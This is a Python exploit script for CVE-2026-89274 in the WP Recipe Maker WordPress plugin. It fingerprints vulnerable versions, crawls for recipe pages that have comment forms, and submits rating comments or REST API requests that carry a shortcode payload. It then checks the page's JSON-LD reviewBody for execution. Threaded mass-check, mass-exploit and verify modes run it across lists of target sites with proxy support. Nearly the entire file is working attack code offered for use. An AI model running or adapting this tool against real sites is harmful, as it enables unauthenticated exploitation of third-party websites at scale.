#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-89274 (see README for attribution/license)
"""
CVE-2026-89274 - WP Recipe Maker <= 10.8.1
Unauthenticated arbitrary shortcode execution via approved recipe rating comments (reviewBody JSON-LD).
"""

from __future__ import annotations

import argparse
import json
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)

PLUGIN_SLUG = "wp-recipe-maker"
MAX_VULN_VERSION = (10, 8, 1)
WPRM_VER_RE = re.compile(
    r"/wp-content/plugins/wp-recipe-maker/[^\"'\s>]+\?(?:ver=)([0-9]+\.[0-9]+\.[0-9]+)",
    re.I,
)

DEFAULT_PATHS = (
    "/",
    "/blog/",
    "/recipes/",
    "/recipe/",
    "/rezept/",
    "/recept/",
    "/food/",
)

CRAWL_HINTS = (
    "recipe", "rezept", "recept", "food", "blog", "cook", "kitchen",
)

ARCHIVE_PATH_RE = re.compile(
    r"/(?:recipes?|blog|food|rezept|recept|cook|kitchen|rezepte)/?$",
    re.I,
)

print_lock = threading.Lock()


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=30, pool_maxsize=30)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def resolve_page_url(base, raw):
    if not raw:
        return None
    raw = raw.strip()
    if raw.startswith(("http://", "https://")):
        return raw
    if not raw.startswith("/"):
        raw = "/" + raw
    return base.rstrip("/") + raw


def parse_version_tuple(text):
    if not text:
        return None
    parts = []
    for x in str(text).split("."):
        try:
            parts.append(int(x))
        except ValueError:
            break
    return tuple(parts) if parts else None


def parse_version_header(text):
    if not text:
        return None
    m = re.search(r"Version:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    if not m:
        m = re.search(r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    if not m:
        return None
    return parse_version_tuple(m.group(1))


def parse_version_assets(html):
    if not html:
        return None
    cands = []
    for m in WPRM_VER_RE.finditer(html):
        v = parse_version_tuple(m.group(1))
        if v and v[0] >= 1:
            cands.append(v)
    return max(cands) if cands else None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def plugin_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    return {
        "main": root + "/wp-recipe-maker.php",
        "readme": root + "/readme.txt",
    }


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "patched": False,
    }
    urls = plugin_urls(base)
    header = ""
    for key in ("main", "readme"):
        try:
            r = get(s, urls[key], timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        if "wp recipe maker" in r.text.lower() or "wp-recipe-maker" in r.text.lower():
            out["plugin"] = True
            header = header or r.text
    ver = parse_version_header(header)
    if not ver:
        try:
            rh = get(s, base.rstrip("/") + "/", timeout=timeout)
            if rh.status_code == 200:
                if not out["plugin"] and PLUGIN_SLUG in rh.text.lower():
                    out["plugin"] = True
                ver = parse_version_assets(rh.text) or ver
        except requests.RequestException:
            pass
    if not ver and out["plugin"]:
        for path in DEFAULT_PATHS[:6]:
            try:
                rp = get(s, resolve_page_url(base, path), timeout=timeout)
            except requests.RequestException:
                continue
            if rp.status_code != 200:
                continue
            ver = parse_version_assets(rp.text)
            if ver:
                break
    if out["plugin"]:
        out["version"] = ".".join(str(x) for x in ver) if ver else None
        if ver:
            if version_le(ver, MAX_VULN_VERSION):
                out["vulnerable"] = True
            else:
                out["patched"] = True
        else:
            out["vulnerable"] = True
    return out


def has_wprm_recipe_page(html):
    if not html:
        return False
    low = html.lower()
    if "wprm-recipe" in low or "wprm_recipe" in low:
        return True
    if re.search(r'@type["\']?\s*:\s*["\']Recipe["\']', html, re.I):
        return True
    if re.search(r'data-recipe-id=["\']\d+["\']', html, re.I):
        return True
    return False


def parse_comment_context(html):
    if not html:
        return None
    post_id = None
    for pat in (
        r'name=["\']comment_post_ID["\'][^>]*value=["\'](\d+)["\']',
        r'value=["\'](\d+)["\'][^>]*name=["\']comment_post_ID["\']',
        r'id=["\']comment_post_ID["\'][^>]*value=["\'](\d+)["\']',
    ):
        m = re.search(pat, html, re.I)
        if m:
            post_id = int(m.group(1))
            break
    if not post_id:
        return None
    has_rating = "wprm-comment-rating" in html.lower()
    has_form = "commentform" in html.lower() or 'id="commentform"' in html.lower()
    if not has_form:
        return None
    recipe_id = None
    m = re.search(r'data-recipe-id=["\'](\d+)["\']', html, re.I)
    if m:
        recipe_id = int(m.group(1))
    m2 = re.search(r'\[wprm-recipe\s+id=["\']?(\d+)', html, re.I)
    if m2:
        recipe_id = int(m2.group(1))
    return {
        "post_id": post_id,
        "recipe_id": recipe_id,
        "comment_rating": has_rating,
    }


def expand_paths(s, base, paths, timeout, max_extra=20):
    out = []
    seen = set()
    for p in paths:
        if p not in seen:
            seen.add(p)
            out.append(p)
    try:
        r = get(s, base.rstrip("/") + "/", timeout=timeout)
    except requests.RequestException:
        return out
    if r.status_code != 200:
        return out
    host = urlparse(base).netloc.lower()
    for m in re.finditer(r'href=["\']([^"\']+)["\']', r.text, re.I):
        href = m.group(1).strip()
        if not href or href.startswith(("#", "mailto:", "tel:", "javascript:")):
            continue
        if href.startswith("//"):
            href = "https:" + href
        if href.startswith("http"):
            if urlparse(href).netloc.lower() != host:
                continue
            path = urlparse(href).path or "/"
        else:
            path = href.split("?")[0].split("#")[0]
            if not path.startswith("/"):
                path = "/" + path
        if not any(h in path.lower() for h in CRAWL_HINTS):
            continue
        if path not in seen:
            seen.add(path)
            out.append(path)
        if len(out) >= len(paths) + max_extra:
            break
    return out


def is_archive_recipe_url(url):
    path = (urlparse(url).path or "/").rstrip("/") or "/"
    if path in ("/", "/blog", "/recipes", "/recipe", "/food"):
        return True
    return bool(ARCHIVE_PATH_RE.search(path + "/"))


def score_recipe_page(entry):
    url = entry.get("page_url") or ""
    score = 0
    if entry.get("comment_rating"):
        score += 12
    if entry.get("recipe_id"):
        score += 4
    if is_archive_recipe_url(url):
        score -= 25
    else:
        score += 10
    segs = [x for x in urlparse(url).path.split("/") if x]
    score += min(len(segs), 6)
    return score


def links_from_listing_page(s, base, listing_url, timeout, limit=28):
    paths = []
    seen = set()
    try:
        r = get(s, listing_url, timeout=timeout)
    except requests.RequestException:
        return paths
    if r.status_code != 200:
        return paths
    host = urlparse(base).netloc.lower()
    for m in re.finditer(r'href=["\']([^"\']+)["\']', r.text, re.I):
        href = m.group(1).strip()
        if not href or href.startswith(("#", "mailto:", "tel:", "javascript:")):
            continue
        if href.startswith("//"):
            href = "https:" + href
        if href.startswith("http"):
            if urlparse(href).netloc.lower() != host:
                continue
            path = urlparse(href).path or "/"
        else:
            path = href.split("?")[0].split("#")[0]
            if not path.startswith("/"):
                path = "/" + path
        if is_archive_recipe_url(resolve_page_url(base, path)):
            continue
        if not any(h in path.lower() for h in CRAWL_HINTS):
            if len([x for x in path.split("/") if x]) < 2:
                continue
        if path in seen:
            continue
        seen.add(path)
        paths.append(path)
        if len(paths) >= limit:
            break
    return paths


def pick_exploit_page(s, base, paths, timeout, recipe_url, post_id, recipe_id, max_pages=32):
    extra_paths = list(paths or DEFAULT_PATHS)
    candidates = []

    if recipe_url and post_id:
        pu = resolve_page_url(base, recipe_url)
        if is_archive_recipe_url(pu):
            extra_paths = links_from_listing_page(s, base, pu, timeout) + extra_paths
        try:
            r = get(s, pu, timeout=timeout)
        except requests.RequestException:
            r = None
        if r is not None and r.status_code == 200 and has_wprm_recipe_page(r.text):
            ctx = parse_comment_context(r.text)
            if ctx:
                candidates.append({
                    "page_url": pu,
                    "post_id": ctx["post_id"],
                    "recipe_id": ctx.get("recipe_id") or recipe_id,
                    "comment_rating": ctx.get("comment_rating"),
                })

    seen_pairs = {(c["post_id"], c["page_url"]) for c in candidates}
    crawl_paths = extra_paths
    for path in crawl_paths:
        if len(seen_pairs) >= max_pages:
            break
        url = resolve_page_url(base, path)
        if url in {x["page_url"] for x in candidates}:
            continue
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200 or not has_wprm_recipe_page(r.text):
            continue
        ctx = parse_comment_context(r.text)
        if not ctx:
            continue
        key = (ctx["post_id"], url)
        if key in seen_pairs:
            continue
        seen_pairs.add(key)
        candidates.append({
            "page_url": url,
            "post_id": ctx["post_id"],
            "recipe_id": ctx.get("recipe_id"),
            "comment_rating": ctx.get("comment_rating"),
        })

    if not candidates:
        discovered = discover_recipe_pages(s, base, tuple(extra_paths), timeout, max_pages=max_pages)
        candidates.extend(discovered)
    if not candidates:
        return None
    non_archive = [c for c in candidates if not is_archive_recipe_url(c["page_url"])]
    pool = non_archive if non_archive else candidates
    pool.sort(key=score_recipe_page, reverse=True)
    return pool[0]


def discover_recipe_pages(s, base, paths, timeout, max_pages=18):
    found = []
    seen = set()
    for path in expand_paths(s, base, paths, timeout):
        if len(seen) >= max_pages:
            break
        url = resolve_page_url(base, path)
        if not url or url in seen:
            continue
        seen.add(url)
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        if not has_wprm_recipe_page(r.text):
            continue
        ctx = parse_comment_context(r.text)
        if not ctx:
            continue
        key = (ctx["post_id"], url)
        if key in {(x["post_id"], x["page_url"]) for x in found}:
            continue
        found.append({
            "page_url": url,
            "post_id": ctx["post_id"],
            "recipe_id": ctx.get("recipe_id"),
            "comment_rating": ctx.get("comment_rating"),
        })
    return found


def extract_hidden_comment_fields(html):
    fields = {}
    for m in re.finditer(r'<input[^>]+type=["\']hidden["\'][^>]*>', html, re.I):
        tag = m.group(0)
        nm = re.search(r'name=["\']([^"\']+)["\']', tag, re.I)
        val = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
        if nm:
            fields[nm.group(1)] = val.group(1) if val else ""
    return fields


def submit_recipe_comment(s, base, page_url, post_id, author, email, comment, rating=5):
    try:
        r0 = get(s, page_url, timeout=s.request_timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": "fetch page: %s" % e}
    if r0.status_code != 200:
        return {"ok": False, "error": "page HTTP %d" % r0.status_code}

    hidden = extract_hidden_comment_fields(r0.text)
    data = {
        "comment": comment,
        "author": author,
        "email": email,
        "url": "",
        "comment_post_ID": str(post_id),
        "comment_parent": "0",
        "submit": "Post Comment",
        "ak_hp_textarea": "",
        "ak_js": "1",
    }
    if "wprm-comment-rating" in r0.text.lower():
        data["wprm-comment-rating"] = str(rating)
    data.update({k: v for k, v in hidden.items() if k not in data})

    action = base.rstrip("/") + "/wp-comments-post.php"
    headers = {"Referer": page_url, "Origin": base.rstrip("/")}
    try:
        r = post(s, action, data=data, headers=headers, timeout=s.request_timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": "comment post: %s" % e}

    body = (r.text or "")[:1200]
    low = body.lower()
    pending = any(x in low for x in (
        "awaiting moderation", "moderation", "held for moderation",
        "thank you", "your comment",
    ))
    dup = "duplicate comment" in low
    return {
        "ok": r.status_code in (200, 302, 303),
        "status_code": r.status_code,
        "pending_moderation": pending,
        "duplicate": dup,
        "location": r.headers.get("Location"),
        "body_snip": body,
    }


def submit_user_rating_api(s, base, recipe_id, comment, name, email, rating=5, post_id=None):
    url = base.rstrip("/") + "/wp-json/wp-recipe-maker/v1/user-rating/%d" % recipe_id
    payload = {
        "data": {
            "rating": str(rating),
            "comment": comment,
            "name": name,
            "email": email,
        }
    }
    if post_id:
        payload["data"]["post_id"] = str(post_id)
    try:
        r = post(s, url, json=payload, timeout=s.request_timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": str(e)}
    out = {"ok": False, "status_code": r.status_code, "body_snip": (r.text or "")[:600]}
    try:
        out["json"] = r.json()
        out["ok"] = r.status_code in (200, 201)
    except Exception:
        pass
    return out


def iter_json_ld_blocks(html):
    if not html:
        return
    for m in re.finditer(
        r'<script[^>]+type=["\']application/ld\+json["\'][^>]*>(.*?)</script>',
        html,
        re.I | re.S,
    ):
        raw = m.group(1).strip()
        try:
            yield json.loads(raw)
        except json.JSONDecodeError:
            continue


def collect_review_bodies(node, out=None):
    if out is None:
        out = []
    if isinstance(node, dict):
        if "reviewBody" in node and isinstance(node["reviewBody"], str):
            out.append(node["reviewBody"])
        for v in node.values():
            collect_review_bodies(v, out)
    elif isinstance(node, list):
        for item in node:
            collect_review_bodies(item, out)
    return out


def verify_shortcode_leak(s, page_url, marker, shortcode=None):
    try:
        r = get(s, page_url, timeout=s.request_timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": str(e)}
    if r.status_code != 200:
        return {"ok": False, "error": "HTTP %d" % r.status_code}
    bodies = []
    for block in iter_json_ld_blocks(r.text):
        bodies.extend(collect_review_bodies(block))
    hit = None
    for b in bodies:
        if marker and marker in b:
            hit = b
            break
        if shortcode and shortcode.strip("[]") in b:
            hit = b
            break
    return {
        "ok": bool(hit),
        "review_bodies": bodies[:5],
        "leaked_review_body": hit,
    }


def check_target(url, timeout, proxy, paths, recipe_url=None):
    base = normalize_base(url)
    row = {
        "target": base,
        "status": "unknown",
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "recipes": [],
        "exploitable_candidate": False,
    }
    if not base:
        row["status"] = "ERR invalid url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update({k: plug[k] for k in ("plugin", "version", "vulnerable", "patched") if k in plug})
    if not plug.get("plugin"):
        row["status"] = "no_plugin"
        return row
    if plug.get("patched"):
        row["status"] = "patched"
        return row
    if plug.get("version") and not plug.get("vulnerable"):
        row["status"] = "not_vulnerable"
        return row

    row["vulnerable"] = True
    recipes = discover_recipe_pages(s, base, paths, timeout)
    if recipe_url:
        pu = resolve_page_url(base, recipe_url)
        try:
            r = get(s, pu, timeout=timeout)
            if r.status_code == 200 and has_wprm_recipe_page(r.text):
                ctx = parse_comment_context(r.text)
                if ctx:
                    recipes = [{
                        "page_url": pu,
                        "post_id": ctx["post_id"],
                        "recipe_id": ctx.get("recipe_id"),
                        "comment_rating": ctx.get("comment_rating"),
                    }] + recipes
        except requests.RequestException:
            pass

    row["recipes"] = recipes
    if not recipes:
        row["status"] = "plugin_no_recipe_comments"
        return row

    rated = [x for x in recipes if x.get("comment_rating")]
    best = rated[0] if rated else recipes[0]
    row["exploitable_candidate"] = bool(rated)
    row["status"] = "candidate" if rated else "recipe_no_comment_rating"
    row["best_recipe"] = best
    return row


def exploit_target(
    url, timeout, proxy, paths, recipe_url, post_id, recipe_id,
    shortcode, author, email, use_api, verify,
):
    base = normalize_base(url)
    marker = "wprm89274_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
    row = {
        "target": base,
        "ok": False,
        "exploited": False,
        "marker": marker,
    }
    if not base:
        row["error"] = "invalid url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row["version"] = plug.get("version")
    if not plug.get("plugin"):
        row["error"] = "plugin not found"
        return row
    if plug.get("patched"):
        row["error"] = "patched (need <= 10.8.1, found %s)" % plug.get("version")
        return row

    page = pick_exploit_page(
        s, base, paths, timeout, recipe_url, post_id, recipe_id,
    )
    if not page and recipe_url and post_id:
        page = {
            "page_url": resolve_page_url(base, recipe_url),
            "post_id": int(post_id),
            "recipe_id": recipe_id,
        }

    if not page:
        row["error"] = "no recipe page with comment form"
        return row

    payload_comment = "%s %s" % (shortcode.strip(), marker)
    if not author:
        author = "wprmprobe" + marker[-6:]
    if not email:
        email = author + "@mailinator.com"

    comment_res = submit_recipe_comment(
        s, base, page["page_url"], page["post_id"],
        author, email, payload_comment, rating=5,
    )
    row["comment_submit"] = comment_res
    row["page_url"] = page["page_url"]
    row["post_id"] = page["post_id"]
    row["recipe_id"] = page.get("recipe_id")

    api_res = None
    if use_api and page.get("recipe_id"):
        api_res = submit_user_rating_api(
            s, base, int(page["recipe_id"]), payload_comment,
            author, email, post_id=page["post_id"],
        )
        row["user_rating_api"] = api_res

    if verify:
        time.sleep(2.5)
        leak = verify_shortcode_leak(s, page["page_url"], marker, shortcode=shortcode)
        row["verify"] = leak
        if leak.get("ok"):
            row["ok"] = True
            row["exploited"] = True
            row["leaked_review_body"] = leak.get("leaked_review_body")
            return row
        row["exploited"] = False
        if comment_res.get("ok") and not comment_res.get("duplicate"):
            row["ok"] = True
            row["status"] = (
                "pending_moderation"
                if comment_res.get("pending_moderation")
                else "comment_ok_no_leak"
            )
        elif row.get("error") is None and not comment_res.get("ok"):
            row["status"] = "comment_failed"
        return row

    if comment_res.get("ok") and not comment_res.get("duplicate"):
        row["ok"] = True
        if not comment_res.get("pending_moderation"):
            row["exploited"] = True
        else:
            row["status"] = "pending_moderation"
    elif api_res and api_res.get("ok"):
        row["ok"] = True
        row["status"] = "api_submitted"

    return row


def load_submitted_verify_work(path):
    work = []
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            if "|" not in line:
                continue
            parts = [p.strip() for p in line.split("|")]
            if len(parts) < 2:
                continue
            target = normalize_base(parts[0])
            page_url = parts[1]
            marker = None
            post_id = None
            for extra in parts[2:]:
                if extra.startswith("marker="):
                    marker = extra[7:]
                elif extra.startswith("post="):
                    post_id = extra[5:]
            if not target or not page_url or not marker:
                continue
            work.append((target, page_url, post_id, marker))
    return work


def verify_submitted_item(target, page_url, marker, timeout, proxy, shortcode):
    s = mk_session(timeout, proxy)
    leak = verify_shortcode_leak(s, page_url, marker, shortcode=shortcode)
    row = {
        "target": target,
        "page_url": page_url,
        "marker": marker,
        "verify": leak,
        "ok": leak.get("ok"),
        "exploited": leak.get("ok"),
    }
    if leak.get("ok"):
        row["leaked_review_body"] = leak.get("leaked_review_body")
    elif leak.get("error"):
        row["error"] = leak.get("error")
    return row


def load_targets(path):
    seen = set()
    items = []
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            if line.lower().startswith("host,"):
                continue
            raw = line
            if "," in line and "://" not in line.split(",")[0]:
                parts = [p.strip() for p in line.split(",")]
                if parts[0].startswith("http"):
                    raw = parts[0]
                elif len(parts) >= 2 and "." in parts[0]:
                    raw = parts[0]
            base = normalize_base(raw)
            if base and base not in seen:
                seen.add(base)
                items.append(base)
    return items


class Stats:
    __slots__ = ("total", "done", "hits", "exploited", "err", "start", "last_progress")

    def __init__(self, total):
        self.total = total
        self.done = 0
        self.hits = 0
        self.exploited = 0
        self.err = 0
        self.start = time.time()
        self.last_progress = 0.0

    def bump(self, key, n=1):
        setattr(self, key, getattr(self, key) + n)


def run_mass_verify(args):
    work = load_submitted_verify_work(args.list)
    if not work:
        log("[!] no lines parsed (expected target|page_url|post=N|marker=...)")
        return
    stats = Stats(len(work))
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(item):
        target, page_url, _post_id, marker = item
        return verify_submitted_item(
            target, page_url, marker, args.timeout, args.proxy, args.shortcode,
        )

    def handle(row):
        stats.bump("done")
        out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
        out_f.flush()
        if row.get("ok"):
            stats.bump("hits")
            hit_f.write("%s|%s|marker=%s\n" % (
                row.get("target"), row.get("page_url"), row.get("marker")))
            hit_f.flush()
            if not args.quiet:
                log("[+] LEAK %s %s" % (row.get("target"), row.get("page_url")))
        elif row.get("error"):
            stats.bump("err")
        if not args.quiet:
            now = time.time()
            if now - stats.last_progress >= 2.0 or stats.done == stats.total:
                stats.last_progress = now
                elapsed = now - stats.start
                rate = stats.done / elapsed if elapsed else 0
                remain = (stats.total - stats.done) / rate if rate else 0
                log("  [%d/%d] leaks=%d err=%d | %.1f/s | ETA %.0fs" % (
                    stats.done, stats.total, stats.hits, stats.err, rate, remain))

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(work)
        try:
            while True:
                while len(futures) < window:
                    try:
                        item = next(gen)
                    except StopIteration:
                        break
                    futures[ex.submit(worker, item)] = item
                if not futures:
                    break
                done, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done:
                    futures.pop(fut)
                    try:
                        handle(fut.result())
                    except Exception as e:
                        stats.bump("err")
                        if not args.quiet:
                            log("[ERR] %s" % e)
        except KeyboardInterrupt:
            log("[!] interrupted")

    out_f.close()
    hit_f.close()
    elapsed = time.time() - stats.start
    log("[*] done %.0fs | %d/%d | leaks=%d | %s" % (
        elapsed, stats.done, stats.total, stats.hits, args.vuln_list))


def run_mass(args):
    if args.list.endswith(".jsonl"):
        work = []
        with open(args.list, "r", encoding="utf-8") as f:
            for line in f:
                line = line.strip()
                if not line:
                    continue
                try:
                    obj = json.loads(line)
                except json.JSONDecodeError:
                    continue
                t = normalize_base(obj.get("target") or obj.get("url"))
                if not t:
                    continue
                best = obj.get("best_recipe") or obj
                work.append((
                    t,
                    best.get("page_url"),
                    best.get("post_id"),
                    best.get("recipe_id"),
                ))
    else:
        work = [(t, None, None, None) for t in load_targets(args.list)]

    stats = Stats(len(work))
    paths = tuple(args.paths or DEFAULT_PATHS)
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")
    cand_f = open(args.candidates_list, "w", encoding="utf-8") if args.mode == "check" else None

    def worker(item):
        target, page_url, post_id, recipe_id = item
        if args.mode == "check":
            return check_target(target, args.timeout, args.proxy, paths, recipe_url=page_url)
        return exploit_target(
            target, args.timeout, args.proxy, paths,
            page_url, post_id, recipe_id,
            args.shortcode, args.author, args.email,
            args.use_api, args.verify,
        )

    def handle(row):
        stats.bump("done")
        out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
        out_f.flush()

        if args.mode == "exploit":
            if row.get("exploited"):
                stats.bump("exploited")
                hit_f.write("%s|%s|post=%s\n" % (
                    row.get("target"), row.get("page_url"), row.get("post_id")))
                hit_f.flush()
                if not args.quiet:
                    log("[+] LEAK %s %s" % (row.get("target"), row.get("page_url")))
            elif row.get("ok"):
                if not args.quiet:
                    log("[~] submitted %s (moderation/API)" % row.get("target"))
            elif row.get("error"):
                stats.bump("err")
        else:
            if row.get("exploitable_candidate"):
                stats.bump("hits")
                hit_f.write(row.get("target", "") + "\n")
                hit_f.flush()
                best = row.get("best_recipe") or {}
                cand_f.write(json.dumps({
                    "target": row.get("target"),
                    "version": row.get("version"),
                    "page_url": best.get("page_url"),
                    "post_id": best.get("post_id"),
                    "recipe_id": best.get("recipe_id"),
                }, ensure_ascii=True) + "\n")
                cand_f.flush()
                if not args.quiet:
                    log("[+] %s v=%s %s post=%s" % (
                        row.get("target"), row.get("version"),
                        best.get("page_url"), best.get("post_id")))
            elif str(row.get("status", "")).startswith("ERR") or row.get("error"):
                stats.bump("err")

        if not args.quiet:
            now = time.time()
            if now - stats.last_progress >= 2.0 or stats.done == stats.total:
                stats.last_progress = now
                elapsed = now - stats.start
                rate = stats.done / elapsed if elapsed else 0
                remain = (stats.total - stats.done) / rate if rate else 0
                log("  [%d/%d] hits=%d err=%d | %.1f/s | ETA %.0fs" % (
                    stats.done, stats.total, stats.hits, stats.err, rate, remain))

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(work)
        try:
            while True:
                while len(futures) < window:
                    try:
                        item = next(gen)
                    except StopIteration:
                        break
                    futures[ex.submit(worker, item)] = item
                if not futures:
                    break
                done, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done:
                    futures.pop(fut)
                    try:
                        handle(fut.result())
                    except Exception as e:
                        stats.bump("err")
                        if not args.quiet:
                            log("[ERR] %s" % e)
        except KeyboardInterrupt:
            log("[!] interrupted")

    out_f.close()
    hit_f.close()
    if cand_f:
        cand_f.close()
    elapsed = time.time() - stats.start
    log("[*] done %.0fs | %d/%d | hits=%d | %s" % (
        elapsed, stats.done, stats.total, stats.hits, args.vuln_list))


def main():
    p = argparse.ArgumentParser(
        description="CVE-2026-89274 WP Recipe Maker <=10.8.1 shortcode exec via recipe comments",
        epilog=(
            "Examples:\n"
            "  python poc.py -u https://target --mode check\n"
            "  python poc.py --list candidates.jsonl --mode exploit --verify -j 20\n"
            "  python poc.py --list submitted_mass.txt --mode verify -j 30\n"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    p.add_argument("-u", "--url")
    p.add_argument("--list")
    p.add_argument("--mode", choices=["check", "exploit", "verify"], default="check")
    p.add_argument("--recipe-url", help="post URL containing embedded recipe + comments")
    p.add_argument("--post-id", type=int, help="comment_post_ID")
    p.add_argument("--recipe-id", type=int, help="wprm recipe id (optional API path)")
    p.add_argument("--shortcode", default='[caption]WPRM89274_PROBE[/caption]')
    p.add_argument("--marker", help="verify mode: search reviewBody for marker")
    p.add_argument("--author")
    p.add_argument("--email")
    p.add_argument("--use-api", action="store_true", help="also try Premium user-rating REST")
    p.add_argument("--verify", action="store_true", help="exploit: check JSON-LD reviewBody")
    p.add_argument("--paths", nargs="*")
    p.add_argument("--threads", "-j", type=int, default=20)
    p.add_argument("--timeout", type=int, default=22)
    p.add_argument("--proxy")
    p.add_argument("--output", default="cve_2026_89274_results.jsonl")
    p.add_argument("--vuln-list", default="hits.txt")
    p.add_argument("--candidates-list", default="candidates.jsonl")
    p.add_argument("--quiet", "-q", action="store_true")
    args = p.parse_args()

    if not args.url and not args.list:
        p.error("need -u or --list")

    paths = tuple(args.paths) if args.paths else DEFAULT_PATHS

    if args.list:
        if args.mode == "verify":
            run_mass_verify(args)
        else:
            run_mass(args)
        return

    s = mk_session(args.timeout, args.proxy)
    base = normalize_base(args.url)

    if args.mode == "verify":
        pu = resolve_page_url(base, args.recipe_url) if args.recipe_url else base + "/"
        row = verify_shortcode_leak(s, pu, args.marker or "", shortcode=args.shortcode)
        row["target"] = base
        row["page_url"] = pu
        print(json.dumps(row, ensure_ascii=True, indent=2))
        sys.exit(0 if row.get("ok") else 1)

    if args.mode == "check":
        row = check_target(args.url, args.timeout, args.proxy, paths, recipe_url=args.recipe_url)
        print(json.dumps(row, ensure_ascii=True, indent=2))
        sys.exit(0 if row.get("exploitable_candidate") else 1)

    row = exploit_target(
        args.url, args.timeout, args.proxy, paths,
        args.recipe_url, args.post_id, args.recipe_id,
        args.shortcode, args.author, args.email,
        args.use_api, args.verify,
    )
    print(json.dumps(row, ensure_ascii=True, indent=2, default=str))
    sys.exit(0 if row.get("exploited") or row.get("ok") else 1)


if __name__ == "__main__":
    main()
